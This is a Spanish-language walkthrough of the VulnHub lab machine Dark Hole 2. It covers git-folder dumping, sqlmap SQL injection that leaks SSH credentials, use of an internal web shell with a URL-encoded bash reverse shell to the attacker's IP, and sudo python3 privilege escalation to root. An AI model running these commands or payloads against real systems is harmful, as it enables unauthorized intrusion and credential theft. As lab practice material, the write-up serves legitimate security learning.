[VulnHub] Dark Hole 2
Introducción
Se practican las siguientes habilidades:
- Git hidden folder dump
- SQL injection
- Discovering localhost service + web shell
- recover pass from bash history
- SUDO -L
Enumeracion
Se descubre que hay un repositorio git:
nmap -p- 172.16.62.130 -n -Pn --open --min-rate 5000 -sS -vvvPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: DarkHole V2 | http-git: | 172.16.62.130:80/.git/ | Git repository found!
Git inspection
Vamos a clonar el repositorio e investigar si hay información interesante, para ello necesitamos la herramienta git-dumper
pip install git-dumper
git-dumper http:/172.16.62.130/.git output
encontramos info con git log:
┌──(git-dumper-env)─(root㉿kali)-[/home/kali/darkhole2/output]
└─# git log
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:14:32 2021 +0300
i changed login.php file for more secure
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:02:44 2021 +0300
First Initialize
Revisamos el commit interesante:
└─# git diff a4d900a8d85e8938d3601f3cef113ee293028e10
diff --git a/login.php b/login.php
index 8a0ff67..0904b19 100644
--- a/login.php
+++ b/login.php
@@ -2,7 +2,10 @@
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
- if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+ $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
+ $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
+ $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
+ if($check->num_rows){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
Acceso web y SQL injection
Con las credenciales vistas, entramos a la web y llegamos al perfil del usuario. ahi se prueba xss, modificar petiion para cambiar de perfil y nada. asi que probamos con SQLMAP:
A pelo no funciona, asi que capturamos la request con burpsuite y la enviamos al fichero sql:
GET /dashboard.php?id=1 HTTP/1.1
Host: 172.16.62.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.62.130/dashboard.php?id=1
Connection: keep-alive
Cookie: PHPSESSID=vvf0eqmsrnfmfb5lic25e3ab46
Upgrade-Insecure-Requests: 1
Priority: u=0, i -n
- Inyeccion sql: ```bash sqlmap -r sql –dbs –batch sqlmap -r sql -D darkhole_2 –tables –batch sqlmap -r sql -D darkhole_2 -T ssh –columns –batch –dump
| id | pass | user | +—-+——+——–+ | 1 | fool | jehad | +—-+——+——–+
### Acceso a la maquina y pivoting
Entramos por ssh con las credenciales vistas anteriormente. descubirmos que existe un usuario "losy" y que se está corriendo un servicio web de manera interna en el 9999.
al hacer un port forwarding y traer a localhost el puerto 9999 vemos que tiene ya un sencillo cmd para ejecutar comandos. lo mas sencillo:
```bash
## PRUEBA DE RCE
http://localhost:9999/index?cmd=id
## REVERSE SHELL
nc -nlvp 1234 (en maquina atacante)
## En la victica
http://localhost:9999/index?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.62.129%2F1234%200%3E%261%27
Ya somos el usario losy
Privilege escalation
Como usario losy, se comprueba absolutamente de todo, casi al tirar la toalla se mira el .bash_history y se ven las credenciales: losy:gang , con esto hacemos un sudo -l y vemos que podemos correr python3 como root.
## creamos un fichero priv.py con este contenido
import os; os.system("/bin/bash")
## escalar
losy@darkhole:/home/losy# sudo python3 priv.py
root@darkhole:/home/losy# whoami
root